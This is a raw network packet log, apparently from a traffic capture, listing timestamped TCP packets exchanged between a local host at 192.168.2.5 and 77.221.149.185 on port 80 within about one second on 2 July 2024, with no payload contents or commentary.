Jul 2, 2024 22:52:30.635771036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.635781050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.635826111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.635826111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.635837078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.635847092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.635857105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.635869026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.635871887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.635898113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.636182070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636193037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636234999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.636406898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636415005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636425018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636472940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.636522055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636533022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636581898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636591911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636599064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.636603117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636630058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.636754990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636778116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636795044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636797905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.636806965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636817932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636827946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.636827946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636838913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636848927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.636862993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.636877060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.637001991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.637012005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.637022018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.637032032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.637042999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.637047052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.637053013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.637064934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.637073994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.637093067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.637104988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.640723944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.640799046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.640810013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.640841007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.640887976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.640898943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.640912056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.640923023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.640933037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.640944004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.640980005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.640990973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.641001940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.641012907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.641026974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.641052961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.641053915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.641062021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.641072989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.641093969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.641120911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.644984961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.645051956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.645061970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.645072937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.645081997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.645092010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.645092964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.645117998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.645144939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.645330906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.645966053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.645976067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.645987034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646013021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.646042109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646042109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.646054983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646064997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646075010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646090984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.646115065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646131992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.646153927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646164894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646172047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646182060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646192074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.646224022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.646389008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646399021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646406889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.646435022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.646459103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.721645117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721654892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721664906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721709013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.721719980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721729994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721740007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721750021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721760035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721766949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.721796989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.721807957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.721925974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721936941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721946001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721956015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721966028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721971989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.721982956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.721995115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722037077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722059965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722069025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722080946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722105980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722111940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722115993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722126007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722136974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722177029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722351074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722359896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722368956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722378969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722388983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722398996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722408056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722409964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722419024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722429037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722436905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722455978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722485065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722548008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722596884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722608089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722616911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722628117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722636938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722639084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722647905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722657919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722666979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722696066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722845078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722855091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722867966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722878933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722898006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722923040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.722974062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.722984076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.723020077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.724440098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724488020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.724528074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724539995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724601030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724610090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724622965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724632978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724636078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.724642038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724658966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.724678993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.724783897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724792957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724802971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724819899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.724848032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.724908113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724919081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724926949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.724958897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725243092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725287914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725303888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725312948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725362062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725398064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725406885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725415945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725445986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725455046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725455999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725464106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725480080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725508928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725543022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725553989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725564003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725593090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725689888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725702047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725718021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725728989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725738049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725748062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725774050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725876093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725883961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725892067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725904942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725927114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725929022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725939989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725949049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725950003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.725959063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.725975037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.726001978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.729242086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729254007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729268074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729295015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.729296923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729309082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729346991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.729418039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729429007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729438066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729469061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.729480028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.729734898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729800940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729813099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729849100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.729976892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.729994059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.730005980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.730015993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.730025053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.730052948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.734391928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734401941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734414101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734441996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.734460115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.734544992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734555006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734565020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734575987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734585047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.734622955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.734762907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734772921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734782934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734811068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.734841108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734852076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734860897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734872103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734889030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.734914064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.734961987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.734988928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.735001087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.735002995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.735013008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.735023975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.735034943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.735044956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.735047102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.735058069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.735099077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.735183954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.788933039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811016083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811068058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811077118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811136961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811146975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811163902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811163902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811196089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811208963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811223984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811250925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811284065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811319113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811328888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811337948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811351061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811361074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811361074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811369896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811403990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811409950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811449051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811463118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811491966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811505079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811510086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811580896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811589956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811603069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811611891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811625004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811635017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811665058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811722994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811736107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811748028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811758995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811777115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811803102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811858892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811868906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811882973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811892033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811901093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.811902046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.811944008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.812041998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812052011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812061071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812076092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812092066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.812102079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.812161922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812171936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812180996 CEST	80	49712	77.221.149.185	192.168.2.5
